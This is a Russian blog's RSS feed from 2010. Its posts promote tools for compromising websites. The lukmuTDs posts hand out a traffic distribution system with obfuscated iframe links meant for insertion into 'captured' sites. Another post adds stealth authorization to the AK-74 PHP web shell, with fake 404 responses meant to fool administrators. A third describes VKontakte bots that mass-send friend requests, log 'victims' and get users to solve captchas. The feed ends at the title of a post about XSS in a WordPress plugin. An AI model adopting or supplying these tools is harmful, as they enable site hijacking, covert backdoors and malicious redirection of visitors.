<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; PHP</title>
	<atom:link href="http://blog.lukmus.ru/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>lukmuTDs 1.11. Распределенная TDS. Минимум нагрузки на WEB-сервер и БД.</title>
		<link>http://blog.lukmus.ru/2010/10/27/lukmutds-1-1-raspredelennaya-tds-minimum-nagruzki/</link>
		<comments>http://blog.lukmus.ru/2010/10/27/lukmutds-1-1-raspredelennaya-tds-minimum-nagruzki/#comments</comments>
		<pubDate>Wed, 27 Oct 2010 02:13:36 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[lukmuTDS]]></category>
		<category><![CDATA[проекты]]></category>
		<category><![CDATA[free TDS]]></category>
		<category><![CDATA[LukmuTDs]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[TDS]]></category>
		<category><![CDATA[минимальная нагрузка]]></category>
		<category><![CDATA[распределенная tds]]></category>
		<category><![CDATA[тдс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=547</guid>
		<description><![CDATA[Многим, наверно, немного надоела надпись, как ниже, при входе на аккаунт хостинга, где установлена и работает TDS. Решить эту проблему призвана распределенная TDS &#8211; lukmuTDs v1.1x. Надеюсь так оно и есть. распределенность Эта TDS распределенная т.к., как вы уже догадались, может располагатся на нескольких независимых друг от друга серверах, а точнее на 2-х. Все дело [...]]]></description>
			<content:encoded><![CDATA[<p>Многим, наверно, немного надоела надпись, как ниже, при входе на аккаунт хостинга, где установлена и работает TDS.<br />
<a href="http://blog.lukmus.ru/wp-content/uploads/2010/10/serv.png"><img class="aligncenter size-full wp-image-548" style="margin-top: 3px; margin-bottom: 3px;" title="lukmutds" src="http://blog.lukmus.ru/wp-content/uploads/2010/10/serv.png" alt="ваш аккаунт заблокирован" width="515" height="74" /></a>Решить эту проблему призвана распределенная TDS &#8211; lukmuTDs v1.1x. Надеюсь так оно и есть.<span id="more-547"></span></p>
<h2>распределенность</h2>
<p>Эта TDS распределенная т.к., как вы уже догадались, может располагатся на нескольких независимых друг от друга серверах, а точнее на 2-х. Все дело в том, что она состоит из 2-х частей:</p>
<ol>
<li>модуль определения региона и ведения логов</li>
<li>модуль управления (главный) или сам интерфейс TDS</li>
</ol>
<p>Помимо этого существует еще 3-я функциональная часть, которая располагается у клиента т.е. у нашего трафа.</p>
<h2>минимальная нагрузка</h2>
<p>Да, вы не ослышались, данная TDS практически не создает нагрузку на сервер БД, а на WEB-сервер нагрузка, небольше чем на простенький сайтик из тех, что размещают на narod.ru.</p>
<h3>клиентская часть</h3>
<p>Если вдруг кто-то, использовал lukmuTDs предыдущих версий, то он знает, что в ней все делится на схемы (schemas), цели (aims) и сайты (sites). В меню сайты задаются, по желанию, сайты откуда идет траф, в целях &#8211; куда пойдет траф, и в главном меню задаются сами схемы потока трафика, т.е. из какого сайта на какую цель/цели пойдет трафик, в каких количествах, какой браузер и регион.</p>
<p>Так вот, основная ресурсоемкая задача &#8211; определить какой схеме принадлежит запрос. В предыдущих версиях этим занималась TDS, в результате чего были постоянные обращения к БД.</p>
<p>Теперь все не так, после создания всех схем БД больше не нужна и обращений к ней от трафика не будет. Все дело в том, что теперь схему и цель определяет сам браузер т.е. трафик сам себя обрабатывает. А если подробнее, то выбор за трафик осуществляет JavaScript, который загружается в браузер.</p>
<p>Но, тогда возникает резонный вопрос &#8211; как генерируется JavaScript, вся информация о схемах записывается в БД, значит при генерации скрипта задействуется БД тем самым нагрузка на БД не снижается. А вот и нет, JS генерируется только один раз, после того как вы создали или изменили схему, сайт или цель. После этого JS кэшируется и когда трафик запрашивает JS, он выдается из кэша <strong>без какого-либо обращения к БД и минимальном участии PHP</strong>, что в данном случае равносильно запросу обычной статической HTML странички.</p>
<h3>модуль определения региона</h3>
<p>Этот модуль при больших объемах трафика (свыше 500 000 запросов) желательно разместить на отдельном хостинге, при меньших объемах можно оставить и на том же сервере что и главная часть.</p>
<p>Он представляет из себя один PHP-скрипт и директорию с файлом, куда будут ненадолго записыватся запросы. Его необходимо будет отдельно сконфигурировать, но об этом ниже.</p>
<p>Как видите здесь вообще нет БД, а все участие PHP описывается на 40 строчках, с учетом комментариев. Т.е. в данном случае нагрузка на сервер так же не далека от выдачи статической страницы.</p>
<h3>основной интерфейс TDS. модуль управления</h3>
<p>Интерфейсная часть по сравнению с прошлыми версиями потерпела серьезные изменения. Обращения к БД происходит только в 2-х случаях:</p>
<ul>
<li>при изменении схемы, сайта или цели</li>
<li>при обновлении статистики</li>
</ul>
<p>Для первого случая, все итак понятно &#8211; трафик стабильно идет, покупатели надежные, деньги капают &#8211; ничего менять не надо &#8211; обращений к БД нет.</p>
<p>Что касается статистики, то частоту ее обновления вы настраиваете сами. Поставите 1 час &#8211; про БД вообще забудите, поставите 30 сек &#8211; хостинг вас забанит. Короче, частота настраивается cron&#8217;ом т.к. скрипт обновления будет запускатся именно им, при гигантском трафе нормальныи будет 20-30 минут, если трафик не превышает 30-50к то можно поставить и 5 минут.</p>
<h2>интерфейс</h2>
<p>Как я уже говорил, интерфейс изменился. Самым главным новшеством является возможность множественного выбора целей, иначе говоря, создания параллельных потоков трафика.</p>
<h3>параллельность и объединение</h3>
<p>Зайдем в меню схемы и увидим</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/10/schms.png"><img class="aligncenter size-full wp-image-551" style="margin-top: 5px; margin-bottom: 5px;" title="schms" src="http://blog.lukmus.ru/wp-content/uploads/2010/10/schms.png" alt="" width="417" height="130" /></a>возможность выбрать для одного потока несколько целей, несколько сайтов и группы регионов и браузеров. Насчет сайтов, регионов и браузеров я думаю все понятно, ничего сверхъестественного тут нет. А вот с групповой политикой целей разберемся.</p>
<p>В предыдущих версиях TDS перенаправляла трафик на цель обычным редиректом, сейчас же все не так. Как уже говорилось выше, во-первых теперь этим занимается не TDS, а JavaScript из кэша, а во-вторых теперь нет редиректов, а есть формирование HTML-страницы с таким количеством iframe&#8217;ов, какое заданно в схемах, а точнее сколько целей задано на конкретную схему.</p>
<h3>процентное деление потока</h3>
<p>Как видно на предыдущем скрине, теперь трафик можно разделять т.е. не паралельно пускать, а именно делить. Чтобы это понять надо либо прочитать про интерфейс предыдущих версий, либо читать далее.</p>
<p>Схема для запроса из потока выбирается в соответсвии с позицией схемы в меню т.е. представим:</p>
<ol>
<li> идет запрос на сайт, где стоит ифрейм на TDS</li>
<li>TDS выдает из кэша JS</li>
<li>JS просматривает все схемы сверху вниз и выбирает схему с наивысшей позицией, которой удовлетворяют характеристики запроса (рефер, регион, браузер)</li>
</ol>
<p>Допустим запрос из потока трафика не удовлетворил первой схеме, тогда он проверяется второй. Пусть он удовлетворил 2-й и если во 2-й схеме процент 100%, то на этом выбор закончен. Если же процент скажем 50%, в таком случае на помощь идет теория вероятности.</p>
<p>Сейчас я расскажу очень простой принцип, однако, не все знают что он носит имя метод Монте-Карло. Так вот, если процент отличен от сотни, то генерируется случайное число от 0 до 100 и если процент больше либо равен случайному числу, то трафик идет по выбранной схеме, в противном случае он будет дальше перебирать схемы. Именно поэтому рекомендуется в качестве последней схемы ставить например google.com-ALL-ALL-ALL-100%.</p>
<p>Так же в схемах есть управляющие кнопки:</p>
<ul>
<li>редактировать</li>
<li>удалить</li>
<li>поднять вверх</li>
<li>остановить</li>
<li>обнулить статистику</li>
</ul>
<p>И кнопка &#8216;поднять вверх&#8217; служит именно для поднятия приоритета схемы, короче для того, что я описал выше.</p>
<h3>меню promo</h3>
<p>Как и раньше в promo выдаются ссылки и криптованные ссылки на TDS т.е. те которые нужно вставить в захваченый сайт. Однако теперь ссылки делятся на 2 категории:</p>
<ol>
<li>JAVASCRIPT LINKS</li>
<li>PHP LINKS</li>
</ol>
<p>Такое разделение объясняется тем, что они ведут на разные обработчики трафика TDS. Так как lukmuTDs v1.1x может работать в 2-х режимах:</p>
<ol>
<li>как раньше т.е. трафик обрабатывается TDS (PHP LINKS)</li>
<li>по-новому т.е. трафик обрабатывается JS из кэша (JAVASCRIPT LINKS)</li>
</ol>
<p>Как и раньше ссылки представляются в 3-х видах:</p>
<ol>
<li>естественный</li>
<li>закриптованный методом Packed</li>
<li>закриптованный методом Packed и облаченный в ASCII-коды, дабы не было никаких ковычек (часто нужна, когда ссылка на TDS вставляется не в файл, а в БД)</li>
</ol>
<p>На дне страницы есть еще форма, куда можно вбить свою ссылку и оттуда она выйдет закриптованной и облаченной в ASCII.</p>
<h2>установка и конфигурация</h2>
<h3>установка</h3>
<p>Здесь я рассмотрю установку на 2 сервера, установка на 1 сервер происходит аналогично.</p>
<ol>
<li>кидаем на первый сервер (geo) скрипт geo.php и папку logs</li>
<li>выставляем права 0777 на logs и на файл, внутри папки (по умолчанию kju_log)</li>
<li>все остальное кидаем на главный сервер с TDS</li>
<li>дамп БД импортируем из файла с дампом (lukmutdsv1.11.sql)</li>
<li>выставляем права на папку cache 0777</li>
</ol>
<h3>конфигурация</h3>
<h4>GEO-сервер</h4>
<p>Отворяем файл geo.php и видим в начале файла:</p>
<p><code>//config<br />
$key="key_which_2_auth_on_geo";<br />
$statfile="logs/kju_log";<br />
//===================</code></p>
<p>$key &#8211; ключ, по которому основной модуль TDS будет синхронизироватся с GEO. Вбиваем туда бессмысленные набор букв и цифр.</p>
<p>$statfile &#8211; путь до файла-лога.</p>
<h4>основной модуль TDS</h4>
<p>Открываем config.php и видим:</p>
<p><code>define('inc_dir',$_SERVER['DOCUMENT_ROOT']."/includes/");<br />
define('ua_pass',md5("this_is_random_symbols")); //user-agent pass<br />
define('uauth',false); // user-agent auth on/off<br />
//js-cookies<br />
define('ltds2c','this_is_random_symbols');<br />
define('uniqc','this_is_random_symbols_too');<br />
//geo<br />
define('geo_location','http://path2.site.with.geo.com/geo.php');<br />
define('geo_key','key_which_2_auth_on_geo');</code></p>
<p>Константа ua_pass &#8211; ключ авторизации по header&#8217;у браузера, ее можно выключить если в константе uauth выставить false (по умолчанию так и стоит).<br />
Константы категории js-cookie &#8211; рудимент от версии 1.10 (данная версия 1.11), однако его все равно надо заполнить какими-нибудь символами.<br />
geo_location &#8211; путь до geo.php, geo_key &#8211; ключ для сбора статистика, указываем то что забили в geo.php.</p>
<p>Теперь открываем includes/db_config.php и настраиваем доступ к БД:</p>
<p><code>$db_host="localhost";<br />
$db_user="tds_db_user";<br />
$db_pass="tds_db_pass";<br />
$db_name="tds_db_name";<br />
$sol="a_lot_of_random_symbols";<br />
$sol_pass="a_lot_of_random_symbols_too";<br />
$db_type="mysql";<br />
$db_host="localhost";</code></p>
<p>Заполняем пользователя, пароль, имя и хост БД. Затем придумываем соли.</p>
<p>Теперь осталось только поставить в cron&#8217;е запуск скрипта getstat.php и частоту его запуска.</p>
<p>TDS готова. Заходим на сайт с TDS и регистрируемся, после чего заходим в TDS.</p>
<h4><a href="http://www.sendspace.com/file/dnpowq" target="_blank">Скачать lukmuTDs v1.11.</a></h4>
<p>P.S. а ведь была еще и lukmuTDs v1.1. У нее статистика считалась по AJAX&#8217;ому отстуку, но как показала практика такая стата не реалистична т.к. не смотря на то что ajax-вый запрос отправлялся на хост с которого был загружен JS-скрипт (обычная метода обхода ограничения xmlhttprequest на тот же домен, что и страница) не многие браузеры все же отправляют запрос.</p>
<hr />
<h2>патч для lukmuTDs v1.11</h2>
<p>Скачать: <a href="http://www.sendspace.com/file/jp749m">http://www.sendspace.com/file/jp749m</a><br />
Исправлена ошибка в работе getstat.php, когда запускается от cron&#8217;а. В config.php введен новый параметр &#8211; полный путь к директории TDS.</p>
<hr />
<h2>lukmuTDs v.1.111</h2>
<p>Скачать: <a href="http://www.sendspace.com/file/bgv6ak" target="_blank">http://www.sendspace.com/file/bgv6ak</a></p>
<p>Исправлена ошибка в обновление последнего визита с сайта.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/10/27/lukmutds-1-1-raspredelennaya-tds-minimum-nagruzki/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>второе пришествие ИИ в ВК</title>
		<link>http://blog.lukmus.ru/2010/10/17/vtoroe-prishestvie-ii-v-vk/</link>
		<comments>http://blog.lukmus.ru/2010/10/17/vtoroe-prishestvie-ii-v-vk/#comments</comments>
		<pubDate>Sun, 17 Oct 2010 07:45:41 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[искусственный интеллект]]></category>
		<category><![CDATA[проекты]]></category>
		<category><![CDATA[iLukmus]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[вконтакте]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=533</guid>
		<description><![CDATA[Не прошло и полгода как iLukmus вновь начал терраризировать пользователей Вконтакте.ру. На сей раз, я надеюсь, боты пришли всерьез и надолго. Все скрипты были с чистого листа переписаны с Ruby на PHP. Добавлена куча всяких штук, в том числе и обход капчи, методом привлечения пользователей сайта ввести ее. Полностью изменена архитектура приложения. Засчет изменения архитектуры [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/10/ilukmusminilogo4s1.png"><img class="alignleft size-full wp-image-537" style="margin: 5px;" title="ilukmusminilogo4s" src="http://blog.lukmus.ru/wp-content/uploads/2010/10/ilukmusminilogo4s1.png" alt="искусственный интеллект вконтакте" width="200" height="48" /></a>Не прошло и полгода как iLukmus вновь начал терраризировать пользователей Вконтакте.ру. На сей раз, я надеюсь, боты пришли всерьез и надолго.</p>
<p>Все скрипты были с чистого листа переписаны с Ruby на PHP. Добавлена куча всяких штук, в том числе и обход капчи, методом привлечения пользователей сайта ввести ее. Полностью изменена архитектура приложения.<span id="more-533"></span></p>
<p>Засчет изменения архитектуры имеется возможность добавить в перспективе много разных примочек, в том числе управление большим числом ботов и анкет, в промышленных масштабах.</p>
<h2>сайт и его интерфейс</h2>
<p>Сайт располагается на том же домене, что и первая версия &#8211; <a href="http://ii.lukmus.ru" target="_blank">ii.lukmus.ru</a>. И на данный момент представляет из себя 3 основных раздела:</p>
<ul>
<li>сам диалог ботов</li>
<li>список заданий</li>
<li>список жертв</li>
</ul>
<h3>список жертв</h3>
<p>Здесь выкладываются все профайлы с кем когда-либо общался кто-либо из ботов.</p>
<h3>список заданий</h3>
<p>Тут располагаются все задания, на данный момент это выслать приглашение на дружбу, которые были предложены ботам.</p>
<p>Задания могут иметь статус &#8216;выполнено&#8217; и &#8216;в очереди&#8217;. Что они означают ясно всем, однако, нужно знать, что даже если у задания статус &#8216;выполнено&#8217; это не значит что пользователь ВК, которому адресовано приглашение, получил его. Запрос, который отсылает бот полностью идентичен запросу от браузера, проблема в том, что ВК руководствуется не известным науке принципом принимать или не принимать запрос. Статистика гласит, что проходит порядка 80%-90% запросов.</p>
<p>Также нужно помнить, что в ВК есть ограничения на приглашения в единицу времени т.е. не больше 80 приглашений в сутки с одной анкеты.</p>
<p>В этом разделе есть еще фильтр, если кому-то интересно какие задания были у какого бота, то в поле фильтр нужно ввести iid бота, которое можно посмотреть в адресной строке.</p>
<p>Страница начинена AJAX&#8217;ом и обновляется сама, в том числе и если задан фильтр.</p>
<h3>диалог</h3>
<p>На главной странице находится список активных ботов, пройдя по одной из ссылке вы попадаете на диалог в реальном времени.</p>
<p>Эта страница также самообновляется засчет все того же AJAX&#8217;а.</p>
<p>Здесь можно дать задание боту &#8211; текстовое поле внизу. Если нужно наблюдать беседу бота с каким-то конкретным человеком, то следует ввести в фильтр (текстовое поле вверху) id анкеты ВК. Скрипты AJAX&#8217;а также поддерживают фильтр.</p>
<h3>капча</h3>
<p>Так как ВК крайне подозрителен и частенько грешит капчами, то переодически капча будет выскакивать внизу левой колонки на всех основных страницах сайта. Пожалуйста, не пройдите мимо и помогите боту &#8211; введите капчу.</p>
<p>Вот собственно все. Если у вас есть какие-то пожелания, вопросы или хотите своего бота &#8211; пишите здесь.</p>
<hr />20.10.2010</p>
<ol>
<li>исправлен AJAX на страницах просмотра диалога и заданий</li>
<li>исправлена проблема с отображением HTML-тэгов в сообщениях от бота</li>
<li>немного изменена страница &#8216;Жертвы&#8217; &#8211; теперь отображается количество жертв и список жертв выводится с самых последних до самых первых т.е. на первой странице последние жертвы.</li>
</ol>
<hr />
<h2>если вы хотите добавить своего бота</h2>
<p>Как показала практика, большинство людей до сих пор не признают преймущества жаббера и сидят в аськах. Так же практика показала, что метод, которым я предложил подавать заявки,  крайне смахивает на бедлам и вакханалию. В связи с этим, пока iLukmus находится в пилотном режиме т.е. еще недельку, и пока руки у меня не дойдут, чтобы сделать регистрацию пользователей добавление не моих ботов преостановлено.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/10/17/vtoroe-prishestvie-ii-v-vk/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>добавляем авторизацию к AK-74 Web-shell</title>
		<link>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/</link>
		<comments>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/#comments</comments>
		<pubDate>Thu, 30 Sep 2010 22:25:50 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[AK-74]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[web-shell]]></category>
		<category><![CDATA[шелл]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=521</guid>
		<description><![CDATA[AK-74 &#8211; отличный шелл, там нет крутых наворотов, AJAX&#8217;а и прочей красоты, совершенно не нужной в таком деле. Однако там нет и еще одной вещи, на мой взгляд важной &#8211; авторизации. Вероятно, авторы шелла, к сожалению не знаю ссылки на создателей, думали, что любой пользователь сам в состоянии дописать авторизацию т.к. код скрипта прост и [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/ak74.jpg"><img class="alignleft size-full wp-image-522" title="ak74" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/ak74.jpg" alt="" width="171" height="128" /></a>AK-74 &#8211; отличный шелл, там нет крутых наворотов, AJAX&#8217;а и прочей красоты, совершенно не нужной в таком деле. Однако там нет и еще одной вещи, на мой взгляд важной &#8211; авторизации. Вероятно, авторы шелла, к сожалению не знаю ссылки на создателей, думали, что любой пользователь сам в состоянии дописать авторизацию т.к. код скрипта прост и нагляден. Там и вправду ничего сложного нет.<span id="more-521"></span></p>
<p>Вообщем мне понадобилось и я дописал пару строчек, выполняющих авторизацию.</p>
<p>Я предлагаю 2 вида авторизации:</p>
<ul>
<li>ввод пароля в адресной строке методом GET</li>
<li>хэш пароля в User-Agent браузера</li>
</ul>
<p>Второй способ мне больше нравится т.к. не надо ничего запоминать, однако в таком случае если вы зайдете с этого браузера на любой другой сайт, то ваш хэш с легкостью будет перехвачен и записан в лог апача. Поэтому лучше использовать 2 способа одновременно.</p>
<p>Конфиг авторизации лежит в самом начале скрипта шелла:<br />
<code>//---------------------config-<br />
$get_pass=md5("getpass"); //пароль по GET<br />
$ua_pass=md5("uapass"); //пароль по User-Agent<br />
$auth_var=array(<br />
'get_pass'=&gt;true, //вкл/выкл GET<br />
'user_agent'=&gt;false); //вкл/выкл User-Agent<br />
//----------------------------</code></p>
<p>В случае неудачной авторизации шелл выдаст ошибку 404 и немного изменит в адресной строке адрес т.е. заредиректит на схожий путь, тем самым запутав любопытного админа.</p>
<p>Ввод пароля по GET делается так:<br />
<code>/path/to/shell.php?kw=getpass</code></p>
<p>Для того, чтобы войти по User-Agent нужно вбить в браузер, чтобы он давал такой заголовок в пакете. Например в Firefox&#8217;е это делается так:</p>
<ul>
<li>в адресной строке вводим about:config</li>
<li>в поле фильтр вбиваем general.useragent.extra.firefox</li>
<li>дописываем в значение поля хэш нашего $ua_pass</li>
</ul>
<p>Скачать это дело можно <a rel="nofollow" href="http://www.sendspace.com/file/zn0b1s" target="_blank">тут</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>lukmuTDs. примитивная и свободная TDS</title>
		<link>http://blog.lukmus.ru/2010/09/16/lukmutds-primitivnaya-i-svobodnaya-tds/</link>
		<comments>http://blog.lukmus.ru/2010/09/16/lukmutds-primitivnaya-i-svobodnaya-tds/#comments</comments>
		<pubDate>Thu, 16 Sep 2010 04:32:53 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[lukmuTDS]]></category>
		<category><![CDATA[проекты]]></category>
		<category><![CDATA[free TDS]]></category>
		<category><![CDATA[LukmuTDs]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[TDS]]></category>
		<category><![CDATA[система контроля трафика]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=495</guid>
		<description><![CDATA[Сразу к делу, это моя самопальная TDS. Она полностью бесплатная, свободная и открытая. Она была написана т.к. ни одна из свободных TDS меня не устроила, к тому же я нашел только одну бесплатную &#8211; Simple TDS. И еще ее отличие от других TDS, то что она многопользовательская. установка закачиваем архив (ссылка на скачку внизу) на [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/lukmutds.png"><img class="aligncenter size-full wp-image-496" title="lukmutds" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/lukmutds.png" alt="" width="517" height="110" /></a>Сразу к делу, это моя самопальная TDS. Она полностью бесплатная, свободная и открытая. Она была написана т.к. ни одна из свободных TDS меня не устроила, к тому же я нашел только одну бесплатную &#8211; Simple TDS. И еще ее отличие от других TDS, то что она многопользовательская.<span id="more-495"></span></p>
<p><span style="font-size: medium;">установка</span></p>
<ol>
<li>закачиваем архив (ссылка на скачку внизу) на сервер и распаковываем его.</li>
<li>в архиве вы увидете файл lukmutds.sql &#8211; это дамп базы, через phpMyAdmin восстанавливаем базу.</li>
</ol>
<p><span style="font-size: medium;">конфигурация</span></p>
<ol>
<li><span style="color: #ff0000;">файл config.php не трогаем!</span></li>
<li>открываем файл /includes/db_config.php и видим:<br />
<code>$db_host="localhost";<br />
$db_user="";<br />
$db_pass="";<br />
$db_name="";<br />
$sol="u9h79yf479fhuihdsuifyhdsu";<br />
$sol_pass="9f8y3u48f9uh34uiojf8j3";<br />
$db_type="mysql";</code></p>
<p>Первые 4-ре, я думаю, понятны всем.   <code>$sol_pass</code> &#8211; соль при записи пароля пользователя в БД,  <code>$sol</code> &#8211; соль для кукисов. Короче в соли надо напихать всякой чертовщины, 20-30 символов.</li>
</ol>
<p><span style="font-size: medium;">эксплуатация</span></p>
<p>Для начала нужно зарегистрироватся. Для этого нужно пройти по ссылке register &#8211; /index.php?pl=register.</p>
<p>После того как вы зарегистрировались и зашли. Вы попадаете на меню схем. Вообще там есть 4 меню:</p>
<ul>
<li>schemas &#8211; схемы</li>
<li>aims &#8211; цели т.е. сайты куда будет направлятся трафик</li>
<li>sites &#8211; сайты откуда будет идти трафик</li>
<li>promo &#8211; здесь выдается iframe и обычная ссылка</li>
</ul>
<p>Сначала надо заполнить меню sites, там все просто и интуитивно понятно. Далее таким же образом заполняем цели &#8211; aims.</p>
<p>Теперь можно приступать к схемам:</p>
<ol>
<li>нажимаем кнопку &#8216;add new&#8217;</li>
<li>в выпадющем списке выбираем цель (aim)</li>
<li>выбираем сайт или оставляем ALL (любой сайт)</li>
<li>выбираем страну (geo) или оставляем ALL (любая страна)</li>
<li>выбираем браузер (agent) или оставляем ALL (любой браузер)</li>
<li>нажимаем кнопку &#8216;add new&#8217;, если хотите добавить еще схему или &#8216;save all&#8217; для сохранения</li>
</ol>
<p>По нашей схеме трафик попадет на целевой сайт (aim) если он удовлетворит всем условиям т.е. рефу, сайту откуда пришел (site), стране происхождения (geo) и браузеру (agent).</p>
<p>Важно понимать, что схемы анализируются сверху вниз т.е. допустим у нас есть такие схемы:</p>
<ol>
<li>google.com &lt;-&gt; ALL &lt;-&gt; US &lt;-&gt; MSIE</li>
<li>yahoo.com &lt;-&gt; ALL &lt;-&gt; ALL &lt;-&gt; MSIE</li>
<li>yandex.com &lt;-&gt; ALL &lt;-&gt; ALL &lt;-&gt; ALL</li>
</ol>
<p>тогда все, кто с США и у кого браузер Internet Explorer попадут на google.com, те кто остался и у кого браузер также IE, но им не посчастливилось родится в Пендостане пойдут на yahoo.com. И только те кто не попал на гугл и яху пойдут на яндекс т.е. у кого не IE и не US.</p>
<p>В меню схем еще есть 2 пиктограммы: edit и drop &#8211; соответственно править и удалить схему. Праве пиктограмм расположен счетчик, показывающий количество переходов по схеме.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="517" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/XOU_tPqc4N0?fs=1&amp;hl=ru_RU" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="517" height="385" src="http://www.youtube.com/v/XOU_tPqc4N0?fs=1&amp;hl=ru_RU" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><span style="font-size: medium;">минусы</span></p>
<p>Главный минус &#8211; определение региона трафика осуществляется через запрос к внешнему сайту. Это можно исправить, если вести свою базу, периодически обновляя ее cron&#8217;ом.</p>
<p>Второй недочет &#8211; регулярные выражние для URL, используемое при добавление сайта в aims и sites. Поменять регулярку можно в lib.php в функции url_reg_exp().</p>
<p>Скачать TDS можно <a rel="nofollow" href="http://www.sendspace.com/file/r0y23b" target="_blank">здесь</a> (LukmuTDs v 1.000).</p>
<hr />
<h2>LukmuTDs v 1.001 17.09.2010</h2>
<p>Скачать: <a href="http://www.sendspace.com/file/zerwqc" target="_blank">http://www.sendspace.com/file/zerwqc</a></p>
<p>Исправления:</p>
<ul>
<li>дамп БД</li>
<li>INSERT SQL-inj в to.php (функция fix_traf())</li>
<li>PHP-inc</li>
</ul>
<hr />
<h2>LukmuTDs v 1.002 22.09.2010</h2>
<p>Скачать: <a href="http://www.sendspace.com/file/xf526i" target="_blank">http://www.sendspace.com/file/xf526i</a></p>
<p>Изменения:</p>
<ul>
<li>интерфейс панели ‘схемы’</li>
<li>заменена система определения местоположения на WorldIP</li>
</ul>
<p>Добавлено:</p>
<ul>
<li>статистика уникального трафика</li>
<li>возможность менять порядок схем</li>
</ul>
<hr />
<h2>LukmuTDs v 1.003 28.09.2010</h2>
<p>Скачать: <a href="http://www.sendspace.com/file/jdnjmz" target="_blank">http://www.sendspace.com/file/jdnjmz</a></p>
<p>Добавлено:</p>
<ul>
<li>Панель &#8216;sites&#8217;
<ul>
<li>IP и время последнего посещения сайта</li>
</ul>
</li>
<li>Панель &#8216;schemas&#8217;
<ul>
<li>обнуление статистики</li>
<li>остановка/возобновление работы схемы</li>
</ul>
</li>
<li>Панель &#8216;promo&#8217;
<ul>
<li>обфусцированный iframe в виде ASCII-кодов (полностью отсутствуют любые кавычки)</li>
</ul>
</li>
<li>Общее
<ul>
<li>время сервера и IP пользователя</li>
</ul>
</li>
</ul>
<p>Закрыто:</p>
<ul>
<li>SQL-inj в смене порядка схем. В предыдущей версии пользователь TDS мог поменять порядок схем другого пользователя.</li>
</ul>
<hr />
<h2>LukmuTDs v 1.0031 21.10.2010</h2>
<p>Скачать: <a href="http://www.sendspace.com/file/mkmyf1" target="_blank">http://www.sendspace.com/file/mkmyf1</a><br />
Добавлена авторизация по User-Agent. Чтобы ее включить или выключить в файле config.php нужно обозначить константу uauth как true или как false соответственно. Пароль задается константой ua_pass в этом же файле.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/16/lukmutds-primitivnaya-i-svobodnaya-tds/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>активная XSS плагин mystat wordpress</title>
		<link>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/</link>
		<comments>http://blog.lukmus.ru/2010/08/16/aktivnaya-xss-plagin-mystat-wordpress/#comments</comments>
		<pubDate>Mon, 16 Aug 2010 02:15:12 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[уязвимости]]></category>
		<category><![CDATA[mystat]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[XSS]]></category>
		<category><![CDATA[плагин]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=382</guid>
